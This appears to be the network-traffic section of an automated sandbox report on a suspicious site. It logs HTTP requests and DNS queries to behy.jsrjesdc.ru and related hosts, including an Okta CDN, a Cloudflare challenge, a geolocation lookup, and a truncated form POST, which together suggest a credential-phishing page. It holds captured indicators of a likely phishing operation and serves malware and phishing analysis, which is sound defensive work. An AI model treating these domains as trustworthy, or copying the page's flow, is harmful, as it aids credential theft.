Source: global traffic	HTTP traffic detected: GET /bcPOzBscrSmAFLpAg2cTQsnCCn8y62vf7DshVXSAmv4zv25ySFNyd1BAJG45j1ayMBJMwTCBX39gc3KQ361Fx23eFl6m0oYbClKfBfVzOhbe2oFbwrT2Eoj6O49mayQeE5zP8SivGuxJ6SPXiop600 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef5nYzTF0HsTTVBSha9MDnKCm0UU0X77DqlbaEu9apYItaFt0tE61eMbPUF4h51R34PuUidUXsiXfj1HXQn4tu5VLtgnsU2BA4MTIZhygdymZrQ6wkYh89yCEFWvGaUCFDJlzSA9zLfQsst610 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghN7YKDXeyb0GL4r1xIvlEZmgF1M0mnqVHp3U5SU5vx5snj2ef209 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opQxMlgnJuaTwX2W7N3a63opklqC1uuFTcwRo8bsPvl12mfwf6sqyemzcp1qrjP7bweIPwF3Lfef240 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij6jAsdI2JvNjJ0wmc9VJfm4zSrlJZ8yfIY54yj09qm0baTil28PUSZlfxRxemxS6uuYFdSutCInoetDEJoLssJXvdkkzKCn6ElVoEeG94VNtvCmOI9VZ1cSrOGskwx613 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stRLYrBaFUwXBc91wj7t9hxG3FHyoEbicu8rOng458D8YNtUyJ3EGcB1DcT3Def255 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJLN2pYSnM1UUxsc2UzejJWWnZtamc9PSIsInZhbHVlIjoieVY2V1JpdGNBL0ZYSHVpbUlpU1cvWUFCcFJ6VDhISldPbWx3OXlOYWZoUkdCNDNCVW1ERUFGM3RPRGcrcWx6NllKdEtlR2hjYzF5MHFSQmxSVjFMTkRoSjRzUzV5ZFUydXd1OGRGNGxWNGRMdkF5amNBSGF6c3Uzb3BpWUVCTEwiLCJtYWMiOiJkYmRmMDNiNjUxZDFmY2FhOTU5NzJiMGVmNTMyMTg5ZTEzYWJmZmZhNWM5YzllZDE3MTI3ZDhlYTVhZTU1ODIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdOOG9VUTVUUkwxRlBTMitaOW51UWc9PSIsInZhbHVlIjoiUi9rVFd0MmZwM1NoZjZiWDhNekxBWlNkV0V0TFZqRXFBbmdvWDBzZGdxSmdCeWhnbVR4dFI5Z1VWWVdJR2I4QjJBbjN3UGhGWGZrQUNuM0czaWViTnFZMEdHc051aDdGTXJ3WFNSZTNyQU83NVN4VmE0VFM4dmdPMkNuZlZPUjYiLCJtYWMiOiI0MDdjNWQ5ZDA1ZmI2MGFlZGQwM2ZlNDliYTM0ZmM0YWVhYmQ3NzVjMmMzNTdjNTRiOWI5YzExN2MyMmEyOGVmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rvvLEm7bQ37PJEZMmOit9MBsiKrZNQgbp7eRlKbjRmlRoxiEijt3XLoa1UOgz HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImVRNlN2eFJzMG5DR05BRzZjTjhkTlE9PSIsInZhbHVlIjoiQmhnMVV0UFNydnJOOURDU0FrR3cxZ1VaWCtJM0tGdnBWbHMwNmY5Q1VKbE1wUytVbFpZeDZvOUdBdTE2UGFsU0hZZlJkZit2RzNDcG8yQ1o3OTJnZTRRZTdJV3JqZ2N6K3ZZMmIxN2UxV1ZTR0k5VitWN1Vaa3RDd0tJakFyUkciLCJtYWMiOiI2MGJhY2U5MzBhYjM3NTcwMDI0M2MwNjZmM2EyZWQwNDAwMWU5Y2NhODQwYTQwOGNhMTRmMTQ3MGM5N2FiNGY4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IndlblFCME45dXhKa2VGQWFTeTZNemc9PSIsInZhbHVlIjoiQzJWc0ZkV093MTN5OHo0MlQrOE1hTGk1ZnUvQS9STjBvUWF4VnRJaWZMazVmUFZyUE1ZR01qMjZuK2RFTzVtdHNWMFdyZ2NyMVc1WUFxaVczK0tROXJISFFzU1BTalZMek5SS2VYM2hhTE9pWFZ5VnA1YTFOTHppamFORENxaTAiLCJtYWMiOiIwOGU2YmQ0NGUzMzNlZjM4MWUwOGU4ZTZkYmVhNmI5MzE4MDMxMTUyZGNlZjUyMGVhNWIyMTE0OTI3MmVmMDgwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://behy.jsrjesdc.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://behy.jsrjesdc.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /klg5F2XMxnwIB7Ltihjik0p9kohpWUam7HqrhjXpxTrOWoeqwHVvKZ8qtJ0lFiyz225 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImVRNlN2eFJzMG5DR05BRzZjTjhkTlE9PSIsInZhbHVlIjoiQmhnMVV0UFNydnJOOURDU0FrR3cxZ1VaWCtJM0tGdnBWbHMwNmY5Q1VKbE1wUytVbFpZeDZvOUdBdTE2UGFsU0hZZlJkZit2RzNDcG8yQ1o3OTJnZTRRZTdJV3JqZ2N6K3ZZMmIxN2UxV1ZTR0k5VitWN1Vaa3RDd0tJakFyUkciLCJtYWMiOiI2MGJhY2U5MzBhYjM3NTcwMDI0M2MwNjZmM2EyZWQwNDAwMWU5Y2NhODQwYTQwOGNhMTRmMTQ3MGM5N2FiNGY4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IndlblFCME45dXhKa2VGQWFTeTZNemc9PSIsInZhbHVlIjoiQzJWc0ZkV093MTN5OHo0MlQrOE1hTGk1ZnUvQS9STjBvUWF4VnRJaWZMazVmUFZyUE1ZR01qMjZuK2RFTzVtdHNWMFdyZ2NyMVc1WUFxaVczK0tROXJISFFzU1BTalZMek5SS2VYM2hhTE9pWFZ5VnA1YTFOTHppamFORENxaTAiLCJtYWMiOiIwOGU2YmQ0NGUzMzNlZjM4MWUwOGU4ZTZkYmVhNmI5MzE4MDMxMTUyZGNlZjUyMGVhNWIyMTE0OTI3MmVmMDgwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMpq6OJeUGo8PIMEvjVOqzyzkZJDRvFuv33 HTTP/1.1Host: rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /klg5F2XMxnwIB7Ltihjik0p9kohpWUam7HqrhjXpxTrOWoeqwHVvKZ8qtJ0lFiyz225 HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImVRNlN2eFJzMG5DR05BRzZjTjhkTlE9PSIsInZhbHVlIjoiQmhnMVV0UFNydnJOOURDU0FrR3cxZ1VaWCtJM0tGdnBWbHMwNmY5Q1VKbE1wUytVbFpZeDZvOUdBdTE2UGFsU0hZZlJkZit2RzNDcG8yQ1o3OTJnZTRRZTdJV3JqZ2N6K3ZZMmIxN2UxV1ZTR0k5VitWN1Vaa3RDd0tJakFyUkciLCJtYWMiOiI2MGJhY2U5MzBhYjM3NTcwMDI0M2MwNjZmM2EyZWQwNDAwMWU5Y2NhODQwYTQwOGNhMTRmMTQ3MGM5N2FiNGY4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IndlblFCME45dXhKa2VGQWFTeTZNemc9PSIsInZhbHVlIjoiQzJWc0ZkV093MTN5OHo0MlQrOE1hTGk1ZnUvQS9STjBvUWF4VnRJaWZMazVmUFZyUE1ZR01qMjZuK2RFTzVtdHNWMFdyZ2NyMVc1WUFxaVczK0tROXJISFFzU1BTalZMek5SS2VYM2hhTE9pWFZ5VnA1YTFOTHppamFORENxaTAiLCJtYWMiOiIwOGU2YmQ0NGUzMzNlZjM4MWUwOGU4ZTZkYmVhNmI5MzE4MDMxMTUyZGNlZjUyMGVhNWIyMTE0OTI3MmVmMDgwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rvvLEm7bQ37PJEZMmOit9MBsiKrZNQgbp7eRlKbjRmlRoxiEijt3XLoa1UOgz HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IktOS1V0S1hJWUI2Vjh3cDlpbjRwOXc9PSIsInZhbHVlIjoiYlFMTTJ5Yzg0QjUyZFRXUTlGVWsyUGpkRnJMZjNNNHpVZmxLTVRRdzFXbVE4MzE2dEl2RDV0cGpVTzRsdVhkaDlWY3lVZzRLOTNoQnJtaG1qZDVKQ0N6eCtWODRFVC85M0htVXNZTWtqdUNVMXp5TzR6YitKWjUxdDYrV2xqVEQiLCJtYWMiOiI3MmUyZDA4ZDkyMGNlNmMwMTkwOGEwNzczMTRlYmE5YTE0NWM2N2NlNTM0MzU4MTg4ZGFiYWJlNzVlOWRhMGRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9NYUM1MzRHNEUzRjNGemt3QkVSYnc9PSIsInZhbHVlIjoiZkNnalZUcEZ2eEdlbDhESm5uWWtLdCtqUkJiMGJzcmI1UlZPaTFRWmFhcWhqQnB3aGt4cjM2VERpSTlGdlFoS3ZKR3VUVDNiYkxXQmMwRXVhZ0NtWW9MQ0tZWGpvZUNZaWFOajBaL1JpeUYyUktaNU1Ua0hrd3J2c3YzSHlKekMiLCJtYWMiOiJlYTE0MmFlZjcwZTI4NTc2MjhkYTkzOGIyNTNkOWVjZmMyMTcxMTg3YmE5MGUyMGRmMTk4ZjlkNzQ5YWUwMzBhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMyz0BuUY17myffW56eW3bpVhtqr47 HTTP/1.1Host: rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNM12rYcKzjCVq784gTpjop50 HTTP/1.1Host: rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fahvmphzjxesjxoekjgepnuKDyHVsFMJKFVWLADRITGNITFFWAXROJRROWHRRODTNMyz6y4jFj079e780wwK2op48 HTTP/1.1Host: rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: behy.jsrjesdc.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: pct4ja.qxwhvv.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: rtmtg91pobvpmc86nxeta0wcjtrzwejcmz814ncsmt8xou3nahoupgbspq.zoraxw.es

Source: unknown

HTTP traffic detected: POST /rinnJTnNQBusDG268KUc2jNOCcj8kD3zcagxcq HTTP/1.1Host: behy.jsrjesdc.ruConnection: keep-aliveContent-Length: 775sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0xMBfIlYOYIAukN5sec-ch-ua-mobile: ?0Accept: */*Origin: https://behy.jsrjesdc.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://behy.jsrjesdc.ru/7PIWi2mf/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBlanIxMlowK3hKWnpkaktyQkV6SXc9PSIsInZhbHVlIjoiY2JaTFdtZEd6YUlVUnkrTFhqdmwrY014WmJ3VFZFV2toTnA1UEIyMmtqNGVyb0ttUXZlSVJoaXVUSm5YSEk3Y1h5RTNIeXRNM1hvT3dxeiszWkt2S0c4Z0F4YTJjcHE2bDBmazRWRndWODkzK1dkbEtjMVFISnpDd29qVmo2QjEiLCJtYWMiOiJmZTE4ZTAyOGY0ZjdmY2NkMmVjMDNkYmY0Y2U1NmEzYjYyMGZjZTI5MGVmNDhlOWRjN2Y0YjU2NGQ3MzdiYWE3IiwidGFnIjoiIn0%3D; 